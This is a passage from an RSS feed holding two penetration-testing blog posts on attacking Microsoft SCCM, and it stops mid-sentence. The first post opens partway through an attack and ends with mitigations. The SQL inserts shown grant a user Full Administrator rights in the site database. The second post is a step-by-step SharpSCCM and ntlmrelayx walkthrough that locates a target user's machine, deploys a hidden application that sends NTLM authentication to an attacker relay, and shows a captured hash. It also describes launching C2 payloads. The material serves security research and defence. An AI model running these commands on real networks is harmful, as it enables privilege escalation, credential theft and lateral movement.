/etc/proxychains4.conf<br>[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4<br>[proxychains] DLL init: proxychains-ng 4.14<br>[proxychains] DLL init: proxychains-ng 4.14<br>[proxychains] DLL init: proxychains-ng 4.14<br>Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation<br><br>Password:<br>[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.57.51:1433  ...  OK<br>[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master<br>[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english<br>[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192<br>[*] INFO(P-BODY): Line 1: Changed database context to &#39;master&#39;.<br>[*] INFO(P-BODY): Line 1: Changed language setting to us_english.<br>[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) <br>[!] Press help for extra shell commands<br>SQL&gt;</pre><p>5. Switch to the site database (named “CM_&lt;site code&gt;” by default):</p><pre>SQL&gt; use CM_PS1<br>[*] ENVCHANGE(DATABASE): Old Value: master, New Value: CM_PS1<br>[*] INFO(P-BODY): Line 1: Changed database context to &#39;CM_PS1&#39;.</pre><p>6. Add the SID, name of the current user, and site code to the <em>RBAC_Admins </em>table:</p><pre>SQL&gt; INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (<strong>0x010500000000000515000000A575F3C88F95AD18057166EC4F040000</strong>,&#39;<strong>APERTURE\cave.johnson</strong>&#39;,0,0,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;<strong>PS1</strong>&#39;);</pre><p>7. Get the <em>AdminID </em>for the newly added record:</p><pre>SQL&gt; SELECT AdminID,LogonName FROM RBAC_Admins;<br>    AdminID   LogonName                                                                                                                                                                                                                                                         <br><br>-----------   ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   <br><br>   16777217   APERTURE\sccmadmin                                                                                                                                                                                                                                                <br><br>   <strong>16777218   </strong>APERTURE\cave.johnson  </pre><p>8. Add records to the RBAC_ExtendedPermissions<em> </em>table granting the AdminID<em> </em>the <em>Full Administrator</em> <em>(</em>SMS0001R) RoleID for the “All Objects” scope (SMS00ALL), the “All Systems” scope (SMS00001), and the “All Users and User Groups” scope (SMS00004):</p><pre>SQL&gt; INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<strong>16777218</strong>,&#39;SMS0001R&#39;,&#39;SMS00ALL&#39;,&#39;29&#39;);<br>SQL&gt; INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<strong>16777218</strong>,&#39;SMS0001R&#39;,&#39;SMS00001&#39;,&#39;1&#39;);<br>SQL&gt; INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<strong>16777218</strong>,&#39;SMS0001R&#39;,&#39;SMS00004&#39;,&#39;1&#39;);</pre><p>9. Verify your new privileges by querying the WMI provider on the management point:</p><pre>CAVE-JOHNSON-PC&gt; .\SharpSCCM.exe get site-push-settings -mp atlas -sc ps1<br>[+] <strong>Connecting to \\atlas\root\SMS\site_ps1</strong><br>[+] Fallback to NTLM is enabled<br>[+] Install client software on the following computers:<br>  Workstations and Servers (excluding domain controllers)<br>[+] Automatic site-wide client push installation is enabled<br>[+] No client push installation accounts were configured, but the server may still use its machine account<br>[+] The client installed flag is not automatically cleared on inactive clients, preventing automatic reinstallation</pre><p>10. Conduct post-exploitation activities via SCCM with your new privileges (e.g., <a href="https://posts.specterops.io/relaying-ntlm-authentication-from-sccm-clients-7dccb8f92867">https://posts.specterops.io/relaying-ntlm-authentication-from-sccm-clients-7dccb8f92867</a>).</p><h3>Mitigation and Recommendations</h3><ul><li>Install <a href="https://learn.microsoft.com/en-us/mem/configmgr/hotfix/2207/15599094">this hotfix</a>, then disable the “Allow connection fallback to NTLM” client push installation setting. <strong>These are the only actions needed to prevent the attack technique noted in this blog post. However, this does not prevent NTLM authentication coerced via other means (e.g., via RPC using </strong><a href="https://github.com/p0dalirius/Coercer"><strong>Coercer</strong></a><strong> by </strong><a href="http://twitter.com/podalirius_"><strong>@podalirius_</strong></a><strong>) from being relayed to the site database server, as pointed out by </strong><a href="https://twitter.com/gladiatx0r/status/1613575466727899136"><strong>@gladiatx0r</strong></a><strong>.</strong></li><li>Require <a href="https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/connect-to-the-database-engine-using-extended-protection?view=sql-server-ver16">Extended Protection</a> on the site database MSSQL service to prevent successful relay of coerced NTLM authentication to the MSSQL service.</li><li>Require <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/overview-server-message-block-signing">SMB signing</a> on site servers to prevent successful relay of coerced NTLM authentication to the SMB service.</li><li>Block MSSQL and SMB connections from unnecessary systems to site servers.</li><li>Use <a href="https://learn.microsoft.com/en-us/mem/configmgr/core/clients/deploy/deploy-clients-to-windows-computers">software update-based, group policy-based, or manual client installation</a> instead of automatic site-wide client push installation.</li><li>Configure the site to <a href="https://learn.microsoft.com/en-us/mem/configmgr/core/plan-design/security/plan-for-certificates">require PKI certificates for client authentication</a>. This prevents new client devices from being registered with a self-signed certificate or a PKI certificate that’s already associated with a client.</li></ul><h3>Detection Guidance</h3><p>Please refer to the Detection Guidance section at <a href="https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a">https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a</a>.</p><h3>Feedback</h3><p>I’m interested in hearing your experiences testing or administering SCCM environments! Please consider filling out <a href="https://www.surveymonkey.com/r/7YQZN33">this 10 question survey</a> to assist with further research into SCCM security.</p><p>You can find me in the #SCCM channel in the <a href="https://bloodhoundhq.slack.com/">BloodHoundGang Slack</a> and I would love to chat with you. Hit me up there @Mayyhem or on Twitter (<a href="https://twitter.com/_Mayyhem">@_Mayyhem</a>) with any questions or feedback! Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f567ec80d5b1" width="1" height="1" alt=""><hr><p><a href="https://medium.com/specter-ops-posts/sccm-site-takeover-via-automatic-client-push-installation-f567ec80d5b1">SCCM Site Takeover via Automatic Client Push Installation</a> was originally published in <a href="https://medium.com/specter-ops-posts">Posts By SpecterOps Team Members</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Relaying NTLM Authentication from SCCM Clients]]></title>
            <link>https://medium.com/specter-ops-posts/relaying-ntlm-authentication-from-sccm-clients-7dccb8f92867?source=rss-1cf7ed8b7054------2</link>
            <guid isPermaLink="false">https://medium.com/p/7dccb8f92867</guid>
            <category><![CDATA[sccm]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pentest]]></category>
            <dc:creator><![CDATA[Chris Thompson]]></dc:creator>
            <pubDate>Thu, 30 Jun 2022 14:03:27 GMT</pubDate>
            <atom:updated>2025-04-04T13:46:17.133Z</atom:updated>
            <content:encoded><![CDATA[<h3>tl;dr: Seriously, please disable NTLM where you can</h3><p>I recently learned that you can <a href="https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a">coerce NTLM authentication from SCCM servers</a> using any Windows SCCM client when automatic site-wide client push installation is enabled and NTLM has not been explicitly disabled. During my research, I found out that if you have certain privileges in SCCM, you can also elicit NTLM authentication from the logged-in user or machine account of any Windows client that is online.</p><p>Tools such as <a href="https://github.com/Mayyhem/SharpSCCM">SharpSCCM </a>can be used to demonstrate how these privileges can be abused for lateral movement, including requesting NTLM authentication from remote SCCM clients (in addition to executing code/payloads) with the following command:</p><p>SharpSCCM.exe &lt;server&gt; &lt;sitecode&gt; exec -d &lt;device_name&gt; -r &lt;relay_server_ip&gt;</p><h3>How though?</h3><p>With access to domain credentials or a session with Full Administrator privileges to Microsoft Configuration Manager (or ConfigMgr, formerly System Center Configuration Manager and still commonly referred to as SCCM), you can very likely gain access to any client machine that is online. But how? It may seem difficult without RDP-ing to a box where the ConfigMgr Console software is installed or proxying in the software, but there are plenty of alternative options out there that can be used to contact the SCCM server directly, such as using WMI queries, the <a href="https://docs.microsoft.com/en-us/previous-versions/system-center/jj821831(v=sc.10)">ConfigMgr PowerShell cmdlets</a>, or tools like SharpSCCM, <a href="https://github.com/nettitude/MalSCCM">MalSCCM</a>, and <a href="https://github.com/PowerShellMafia/PowerSCCM">PowerSCCM</a>.</p><p>Most lateral movement techniques that leverage SCCM involve execution of either PowerShell or a C2 agent on clients by deploying a hidden application to a group of clients. This technique to elicit NTLM authentication is no different, except that the installation path of our malicious application is set to a UNC path that we control. That way, when each SCCM client in our deployment group attempts to install the new application, it sends NetNTLMv2 authentication to our listening machine via SMB (or HTTP, if WebClient is enabled). This is advantageous in scenarios where execution of PowerShell or C2 agent shellcode is blocked or could result in detection.</p><p>And because SCCM has an option to install application deployments either as the logged-on user or as SYSTEM, we can capture/relay credentials for users we’ve tracked to a specific computer using SCCM as well. Someone with access to our objectives or a domain admin, perhaps?</p><p>Let’s dive in.</p><h3>Attack Step-by-Step</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pUFz3w_U7Ry1fsvLsSI0Ew.png" /></figure><h4>Preparation</h4><p>We need to do a few situational awareness checks to get the information required for the attack. First, we need to identify/confirm:</p><ol><li>that the host we are on is an SCCM client;</li><li>the FQDN or NetBIOS name of an SCCM management point server; and</li><li>the sitecode for the SCCM site.</li></ol><p>To knock all three of these out at once, execute:</p><p>SharpSCCM.exe local siteinfo</p><p>If there are no results, sorry, the system you are on is not an SCCM client. If there are, the client’s management point FQDN and sitecode (the three characters after “SMS:”) will be included in the output.</p><pre>PS C:\Users\cave.johnson.APERTURE\SharpSCCM\bin\x64\Release&gt; .\SharpSCCM.exe local siteinfo<br>[+] Connecting to \\localhost\root\ccm<br>[+] Executing WQL query: SELECT Name,CurrentManagementPoint FROM SMS_Authority<br>-----------------------------------<br>SMS_Authority<br>-----------------------------------<br>CurrentManagementPoint: <strong>atlas.aperture.sci</strong><br>Name: SMS:<strong>PS1</strong><br>-----------------------------------</pre><p>Next, let’s confirm that our current domain context has the necessary privileges to define a collection of systems and deploy applications to it by executing:</p><p>SharpSCCM.exe &lt;server&gt; &lt;sitecode&gt; get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames</p><p>The output tells us which roles are assigned to SCCM administrators. In our case, the APERTURE\cave.johnson account we are logged on with is assigned the Full Administrator role and is not limited to administration of specific systems, users, or groups.</p><pre>PS C:\Users\cave.johnson.APERTURE\SharpSCCM\bin\x64\Release&gt; .\SharpSCCM.exe atlas ps1 get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames<br>[+] Connecting to \\atlas\root\SMS\site_ps1<br>[+] Executing WQL query: SELECT AdminID,CategoryNames,CollectionNames,LogonName,RoleNames FROM SMS_Admin<br>-----------------------------------<br>SMS_Admin<br>-----------------------------------<br>AdminID: 16777217<br>CategoryNames: All<br>CollectionNames: All Systems, All Users and User Groups<br>LogonName: APERTURE\sccmadmin<br>RoleNames: Full Administrator<br>-----------------------------------<br>AdminID: 16777218<br>CategoryNames: All<br>CollectionNames: All Systems, All Users and User Groups<br><strong>LogonName: APERTURE\cave.johnson<br>RoleNames: Full Administrator</strong><br>-----------------------------------</pre><p>Note that any user with the Application Administrator role can also perform this attack, but they will not be able to conduct the query above to confirm their role, nor will they be able to force clients to immediately update their machine policy and execute pending application deployments. They will have to wait for the machine policy to be polled automatically by the client, which by default, occurs every 60 minutes.</p><h4>Finding Users</h4><p>Now that we know we have the privileges required for the attack, we need to find systems where our target user has recently logged on or which computer is their workstation.</p><p><strong>User Last Logon</strong></p><p>Let’s say we’re trying to find computers that the user chell was the last account to log on to. We can execute:</p><p>SharpSCCM.exe &lt;server&gt; &lt;sitecode&gt; get device -u &lt;username&gt;</p><p>The output of this command shows us that chell was the last account to log on to GLaDOS.aperture.sci.</p><pre>PS C:\Users\cave.johnson.APERTURE\SharpSCCM\bin\x64\Release&gt; .\SharpSCCM.exe atlas ps1 get device -u chell<br>[+] Connecting to \\atlas\root\SMS\site_ps1<br>[+] Executing WQL query: SELECT ResourceId,Active,ADSiteName,Client,DistinguishedName,FullDomainName,HardwareID,IPAddresses,IPSubnets,IPv6Addresses,IPv6Prefixes,IsVirtualMachine,LastLogonTimestamp,LastLogonUserDomain,LastLogonUserName,MACAddresses,Name,NetbiosName,Obsolete,OperatingSystemNameandVersion,PrimaryGroupID,ResourceDomainORWorkgroup,ResourceNames,SID,SMSInstalledSites,SMSUniqueIdentifier,SNMPCommunityName,SystemContainerName,SystemGroupName,SystemOUName FROM SMS_R_System WHERE LastLogonUserName=&#39;chell&#39;<br>-----------------------------------<br>SMS_R_System<br>-----------------------------------<br>Active: 1<br>ADSiteName: Default-First-Site-Name<br>Client: 1<br>DistinguishedName: CN=GLADOS,OU=Domain Controllers,DC=aperture,DC=sci<br>FullDomainName: APERTURE.SCI<br>HardwareID: 2:A78B9751784FD68363E454CEBBDEEBDF249A13AF<br>IPAddresses: 192.168.57.100, fe80::f03c:50a:d4a5:d033<br>IPSubnets: 192.168.57.0<br>IPv6Addresses:<br>IPv6Prefixes:<br>IsVirtualMachine: True<br>LastLogonTimestamp: 20220524170937.000000+***<br><strong>LastLogonUserDomain: APERTURE<br>LastLogonUserName: chell</strong><br>MACAddresses: 00:0C:29:A3:80:F2<br>Name: GLADOS<br>NetbiosName: GLADOS<br>Obsolete: 0<br>OperatingSystemNameandVersion: Microsoft Windows NT Server 10.0<br>PrimaryGroupID: 516<br>ResourceDomainORWorkgroup: APERTURE<br>ResourceId: 16777227<br><strong>ResourceNames: GLaDOS.aperture.sci</strong><br>SID: S-1-5-21-3822514249-2432693033-3580373207-1000<br>SMSInstalledSites: PS1<br>SMSUniqueIdentifier: GUID:B24FA20E-776F-4E68-9789-6DEE101837AA<br>SNMPCommunityName:<br>SystemContainerName:<br>SystemGroupName: APERTURE\Denied RODC Password Replication Group, APERTURE\Domain Controllers<br>SystemOUName: APERTURE.SCI/DOMAIN CONTROLLERS</pre><p>̶H̶o̶w̶e̶v̶e̶r̶,̶ ̶t̶h̶e̶ ̶a̶c̶c̶u̶r̶a̶c̶y̶ ̶o̶f̶ ̶t̶h̶e̶ ̶o̶u̶t̶p̶u̶t̶ ̶o̶f̶ ̶t̶h̶i̶s̶ ̶c̶o̶m̶m̶a̶n̶d̶ ̶s̶h̶o̶u̶l̶d̶ ̶n̶o̶t̶ ̶b̶e̶ ̶t̶r̶e̶a̶t̶e̶d̶ ̶a̶s̶ ̶f̶a̶c̶t̶.̶ ̶T̶h̶e̶ ̶L̶a̶s̶t̶L̶o̶g̶o̶n̶U̶s̶e̶r̶ ̶a̶t̶t̶r̶i̶b̶u̶t̶e̶ ̶i̶d̶e̶n̶t̶i̶f̶i̶e̶s̶ ̶t̶h̶e̶ ̶l̶a̶s̶t̶ ̶a̶c̶c̶o̶u̶n̶t̶ ̶t̶h̶a̶t̶ ̶l̶o̶g̶g̶e̶d̶ ̶i̶n̶t̶o̶ ̶t̶h̶e̶ ̶s̶y̶s̶t̶e̶m̶ ̶a̶t̶ ̶t̶h̶e̶ ̶p̶o̶i̶n̶t̶ ̶i̶n̶ ̶t̶i̶m̶e̶ ̶t̶h̶e̶ ̶l̶a̶s̶t̶ ̶d̶a̶t̶a̶ ̶d̶i̶s̶c̶o̶v̶e̶r̶y̶ ̶c̶o̶l̶l̶e̶c̶t̶i̶o̶n̶ ̶w̶a̶s̶ ̶s̶e̶n̶t̶ ̶f̶r̶o̶m̶ ̶t̶h̶e̶ ̶c̶l̶i̶e̶n̶t̶ ̶t̶o̶ ̶t̶h̶e̶ ̶m̶a̶n̶a̶g̶e̶m̶e̶n̶t̶ ̶p̶o̶i̶n̶t̶ ̶(̶d̶e̶f̶a̶u̶l̶t̶:̶ ̶e̶v̶e̶r̶y̶ ̶7̶ ̶d̶a̶y̶s̶)̶,̶ ̶s̶o̶ ̶i̶t̶ ̶i̶s̶ ̶l̶i̶k̶e̶l̶y̶ ̶g̶o̶i̶n̶g̶ ̶t̶o̶ ̶b̶e̶ ̶s̶t̶a̶l̶e̶ ̶f̶o̶r̶ ̶d̶e̶v̶i̶c̶e̶s̶ ̶w̶i̶t̶h̶ ̶m̶u̶l̶t̶i̶p̶l̶e̶ ̶d̶a̶i̶l̶y̶ ̶u̶s̶e̶r̶s̶.̶ ̶A̶l̶s̶o̶,̶ ̶a̶p̶p̶a̶r̶e̶n̶t̶l̶y̶ ̶b̶y̶ ̶d̶e̶s̶i̶g̶n̶,̶ ̶t̶h̶e̶ ̶L̶a̶s̶t̶L̶o̶g̶o̶n̶T̶i̶m̶e̶s̶t̶a̶m̶p̶ ̶a̶t̶t̶r̶i̶b̶u̶t̶e̶ ̶c̶a̶n̶n̶o̶t̶ ̶b̶e̶ ̶r̶e̶l̶i̶e̶d̶ ̶u̶p̶o̶n̶ ̶f̶o̶r̶ ̶n̶e̶a̶r̶ ̶r̶e̶a̶l̶-̶t̶i̶m̶e̶ ̶a̶c̶c̶u̶r̶a̶c̶y̶.̶</p><p>̶T̶h̶a̶t̶ ̶s̶a̶i̶d̶,̶ ̶i̶t̶ ̶i̶s̶ ̶p̶o̶s̶s̶i̶b̶l̶e̶ ̶t̶o̶ ̶f̶o̶r̶c̶e̶ ̶a̶ ̶g̶r̶o̶u̶p̶ ̶o̶f̶ ̶c̶o̶m̶p̶u̶t̶e̶r̶s̶ ̶t̶o̶ ̶u̶p̶d̶a̶t̶e̶ ̶t̶h̶e̶ ̶L̶a̶s̶t̶L̶o̶g̶o̶n̶U̶s̶e̶r̶ ̶a̶t̶t̶r̶i̶b̶u̶t̶e̶ ̶u̶s̶i̶n̶g̶ ̶t̶h̶e̶ ̶o̶f̶f̶i̶c̶i̶a̶l̶ ̶C̶o̶n̶f̶i̶g̶u̶r̶a̶t̶i̶o̶n̶ ̶M̶a̶n̶a̶g̶e̶r̶ ̶P̶o̶w̶e̶r̶S̶h̶e̶l̶l̶ ̶I̶n̶v̶o̶k̶e̶-̶C̶M̶C̶l̶i̶e̶n̶t̶A̶c̶t̶i̶o̶n̶ ̶c̶o̶m̶m̶a̶n̶d̶ ̶t̶o̶ ̶e̶x̶e̶c̶u̶t̶e̶ ̶t̶h̶e̶ ̶C̶l̶i̶e̶n̶t̶N̶o̶t̶i̶f̶i̶c̶a̶t̶i̶o̶n̶R̶e̶q̶u̶e̶s̶t̶D̶D̶R̶N̶o̶w̶ ̶a̶c̶t̶i̶o̶n̶ ̶o̶n̶ ̶a̶ ̶c̶o̶l̶l̶e̶c̶t̶i̶o̶n̶ ̶o̶f̶ ̶d̶e̶v̶i̶c̶e̶s̶,̶ ̶b̶u̶t̶ ̶t̶h̶i̶s̶ ̶h̶a̶s̶ ̶t̶o̶ ̶b̶e̶ ̶r̶u̶n̶ ̶o̶n̶ ̶t̶h̶e̶ ̶s̶i̶t̶e̶ ̶s̶e̶r̶v̶e̶r̶ ̶w̶i̶t̶h̶ ̶l̶o̶c̶a̶l̶ ̶a̶d̶m̶i̶n̶ ̶p̶r̶i̶v̶i̶l̶e̶g̶e̶s̶ ̶a̶n̶d̶ ̶h̶a̶s̶ ̶n̶o̶t̶ ̶y̶e̶t̶ ̶b̶e̶e̶n̶ ̶p̶o̶r̶t̶e̶d̶ ̶t̶o̶ ̶S̶h̶a̶r̶p̶S̶C̶C̶M̶.̶</p><p>̶N̶O̶T̶E̶:̶ ̶I̶f̶ ̶y̶o̶u̶ ̶u̶s̶e̶ ̶t̶h̶i̶s̶ ̶m̶e̶t̶h̶o̶d̶ ̶o̶f̶ ̶f̶o̶r̶c̶e̶-̶u̶p̶d̶a̶t̶i̶n̶g̶ ̶t̶h̶e̶ ̶L̶a̶s̶t̶L̶o̶g̶o̶n̶U̶s̶e̶r̶ ̶a̶t̶t̶r̶i̶b̶u̶t̶e̶,̶ ̶y̶o̶u̶ ̶a̶r̶e̶ ̶a̶s̶k̶i̶n̶g̶ ̶e̶v̶e̶r̶y̶ ̶d̶e̶v̶i̶c̶e̶ ̶i̶n̶ ̶t̶h̶e̶ ̶c̶o̶l̶l̶e̶c̶t̶i̶o̶n̶ ̶t̶o̶ ̶s̶e̶n̶d̶ ̶a̶ ̶d̶a̶t̶a̶ ̶d̶i̶s̶c̶o̶v̶e̶r̶y̶ ̶r̶e̶c̶o̶r̶d̶ ̶(̶D̶D̶R̶)̶ ̶t̶o̶ ̶t̶h̶e̶ ̶m̶a̶n̶a̶g̶e̶m̶e̶n̶t̶ ̶p̶o̶i̶n̶t̶ ̶a̶t̶ ̶o̶n̶c̶e̶.̶ ̶D̶o̶i̶n̶g̶ ̶t̶h̶i̶s̶ ̶w̶h̶i̶l̶e̶ ̶t̶a̶r̶g̶e̶t̶i̶n̶g̶ ̶a̶ ̶l̶a̶r̶g̶e̶ ̶d̶e̶v̶i̶c̶e̶ ̶c̶o̶l̶l̶e̶c̶t̶i̶o̶n̶ ̶(̶e̶.̶g̶.̶,̶ ̶A̶l̶l̶ ̶S̶y̶s̶t̶e̶m̶s̶)̶ ̶c̶o̶u̶l̶d̶ ̶f̶l̶o̶o̶d̶ ̶t̶h̶e̶ ̶m̶a̶n̶a̶g̶e̶m̶e̶n̶t̶ ̶p̶o̶i̶n̶t̶ ̶w̶i̶t̶h̶ ̶a̶ ̶t̶o̶n̶ ̶o̶f̶ ̶r̶e̶q̶u̶e̶s̶t̶s̶ ̶a̶t̶ ̶o̶n̶c̶e̶,̶ ̶s̶o̶ ̶p̶l̶e̶a̶s̶e̶ ̶b̶e̶ ̶m̶i̶n̶d̶f̶u̶l̶ ̶o̶f̶ ̶t̶h̶e̶ ̶s̶i̶z̶e̶ ̶a̶n̶d̶ ̶s̶e̶n̶s̶i̶t̶i̶v̶i̶t̶y̶ ̶o̶f̶ ̶t̶h̶e̶ ̶e̶n̶v̶i̶r̶o̶n̶m̶e̶n̶t̶ ̶y̶o̶u̶’̶r̶e̶ ̶t̶e̶s̶t̶i̶n̶g̶ ̶i̶n̶.̶ ̶I̶t̶’̶s̶ ̶m̶u̶c̶h̶ ̶s̶a̶f̶e̶r̶ ̶t̶o̶ ̶c̶r̶e̶a̶t̶e̶ ̶a̶ ̶d̶e̶v̶i̶c̶e̶ ̶c̶o̶l̶l̶e̶c̶t̶i̶o̶n̶ ̶u̶s̶i̶n̶g̶ ̶S̶h̶a̶r̶p̶S̶C̶C̶M̶’̶s̶ ̶n̶e̶w̶ ̶c̶o̶l̶l̶e̶c̶t̶i̶o̶n̶ ̶d̶e̶v̶i̶c̶e̶ ̶s̶u̶b̶c̶o̶m̶m̶a̶n̶d̶ ̶t̶h̶a̶t̶ ̶o̶n̶l̶y̶ ̶i̶n̶c̶l̶u̶d̶e̶s̶ ̶t̶h̶e̶ ̶s̶p̶e̶c̶i̶f̶i̶c̶ ̶g̶r̶o̶u̶p̶ ̶o̶f̶ ̶t̶a̶r̶g̶e̶t̶s̶ ̶y̶o̶u̶ ̶w̶o̶u̶l̶d̶ ̶l̶i̶k̶e̶ ̶t̶o̶ ̶u̶p̶d̶a̶t̶e̶.̶</p><p>Update 2/12/25: I was wrong about this. The LastLogonUser and LastLogonTimestamp properties are populated by SCCM’s Active Directory System Discovery Method, which conducts a full collection from a domain controller every 7 days and resolves delta (i.e., finds resources that are new or modified) every 5 minutes by default. It should be relatively accurate.</p><p>There is also a CurrentLogonUser property in the SMS_CombinedDeviceResources WMI class available on SMS Providers that identifies what user is logged in right now! This data is based on the BGB fast channel notification service and updates in near real-time (a minute or two in my lab).</p><p><strong>User Workstations</strong></p><p>Ok, so that might not have produced a ton of valuable data if the timing wasn’t right or we don’t have local admin privs on the site server, but there is at least one other method of identifying the computers where a specific user might be logged in — locating the computer they use the most, their workstation.</p><p>To find all computers that are <a href="https://docs.microsoft.com/en-us/mem/configmgr/apps/deploy-use/link-users-and-devices-with-user-device-affinity">linked to a specific user</a>, we can execute:</p><p>SharpSCCM.exe &lt;server&gt; &lt;sitecode&gt; get primary-user -u &lt;username&gt;</p><p>The output shows us that GLADOS is linked to chell, our target user, making this computer a prime candidate for requesting NTLM authentication to capture/relay.</p><pre>PS C:\Users\cave.johnson.APERTURE\SharpSCCM\bin\x64\Release&gt; .\SharpSCCM.exe atlas ps1 get primary-user -u chell<br>[+] Connecting to \\atlas\root\SMS\site_ps1<br>[+] Executing WQL query: SELECT * FROM SMS_UserMachineRelationship WHERE UniqueUserName LIKE &#39;%chell%&#39;<br>-----------------------------------<br>SMS_UserMachineRelationship<br>-----------------------------------<br>CreationTime: 20220528005101.523000+000<br>IsActive: True<br>RelationshipResourceID: 25165825<br>ResourceClientType: 1<br>ResourceID: 16777227<br><strong>ResourceName: GLADOS<br></strong>Sources: 2<br>Types: 1<br><strong>UniqueUserName: aperture\chell<br></strong>-----------------------------------</pre><h4>Capture/Relay Server Setup</h4><p>Next, we need to set up <a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py">ntlmrelayx</a> to capture and relay NTLM authentication received from our target computers.</p><p>For the sake of this demonstration, we’re going to simulate a compromised Linux machine on the same network. If you are using a Windows machine for capture/relay, detailed instructions can be found <a href="https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a">here</a>.</p><p>To start the relay server, we choose a target_ip to relay NTLM authentication to (e.g., a system that does not require SMB signing or the LDAP/AD CS service on a domain controller), then run:</p><p>ntlmrelayx.py -smb2support -ts -ip &lt;relay_ip&gt; -t &lt;target_ip&gt; -of ~/hashes.txt</p><h4>Requesting NTLM Authentication</h4><p>Now that we’re set up, it’s time to execute the attack. All of the steps necessary to create a new device collection, add the target device, deploy an application, then clean up have been automated in the following command:</p><p>SharpSCCM.exe &lt;server&gt; &lt;sitecode&gt; exec -d &lt;device_name&gt; -r &lt;relay_server_ip&gt;</p><p>If you’d like to understand what’s going on behind the scenes, check out <a href="https://enigma0x3.net/2016/02/29/offensive-operations-with-powersccm/">this post</a> by Matt Nelson in 2016.</p><p>By default, NTLM authentication is requested from the logged-in user account, but adding the -s option to the exec command will request authentication from the machine account instead.</p><p>It takes about a minute for creds to roll in in my lab environment. There is currently more output than I’d like to paste here, but here are the relevant bits:</p><pre>PS C:\Users\cave.johnson.APERTURE\SharpSCCM\bin\x64\Release&gt; .\SharpSCCM.exe atlas ps1 exec -d &quot;GLADOS&quot; -r 192.168.57.130<br>[+] Connecting to \\atlas\root\SMS\site_ps1<br><strong>[+] Creating new device collection: Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137</strong><br><strong>[+] Adding GLADOS to Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137<br></strong>[+] Added GLADOS to Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137<br>[+] Waiting 15s for collection to populate<br><strong>[+] Creating new application: Application_e670c053-74ef-49b4-8ef6-5509f41b0729<br></strong>[+] Updated application to hide it from the Configuration Manager console<br><strong>[+] Updated application to run in the context of the logged on user<br>[+] Creating new deployment of Application_e670c053-74ef-49b4-8ef6-5509f41b0729 to Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137<br></strong>[+] Found 1 applications named Application_e670c053-74ef-49b4-8ef6-5509f41b0729<br>[+] Found 1 collections named Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137<br>[+] Waiting 30s for new deployment to become available<br><strong>[+] Forcing all members of Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137 to check for updates and execute any new applications available<br>[+] Waiting 1m for NTLM authentication<br>[+] Cleaning up<br></strong>[+] Found deployment of Application_e670c053-74ef-49b4-8ef6-5509f41b0729 to Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137<br>[+] Deleted deployment of Application_e670c053-74ef-49b4-8ef6-5509f41b0729 to Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137<br>[+] Found 1 applications named Application_e670c053-74ef-49b4-8ef6-5509f41b0729<br>[+] Deleted all applications named Application_e670c053-74ef-49b4-8ef6-5509f41b0729<br>[+] Found 1 collections named Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137<br>[+] Deleted all collections named Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137<br>[+] Done!</pre><p>Here is the output from our ntlmrelayx server:</p><pre>[2022-05-27 23:35:27] [*] SMBD-Thread-59: <strong>Connection from APERTURE/CHELL</strong>@192.168.57.100 controlled, but there are no more targets left!</pre><p>And our captured hash:</p><pre><strong>chell::APERTURE</strong>:41414141414141414141414141414141:23969933...00000000</pre><p>It’s also possible to host an executable on the attacking host using smbserver.py to launch a C2 agent or another payload on an SCCM client as SYSTEM or the logged on user rather than eliciting NTLM authentication. Just set the SharpSCCM exec command’s -p (path) option to the UNC path of your executable instead of using the -r (relay-server) option. However, this may be undesirable in certain situations, since the payload will need to evade host-based and network defenses to avoid detection/prevention and establish C2. For similar reasons, execution of arbitrary PowerShell commands on remote hosts has not yet been built into SharpSCCM.</p><h4>Gotchas</h4><p>You may need to increase the wait time (System.Threading.Thread.Sleep(ms)) for device collection and deployment creation for this to work in your environment — it seems to take about 15 seconds for a device collection to show up after being created and about 30 seconds after a deployment is created before the client is able to retrieve it in my lab. However, in a larger environment, device collection creation took about 3 minutes and deployment creation took about 5 minutes before the client could retrieve it. Currently, this value is hardcoded in 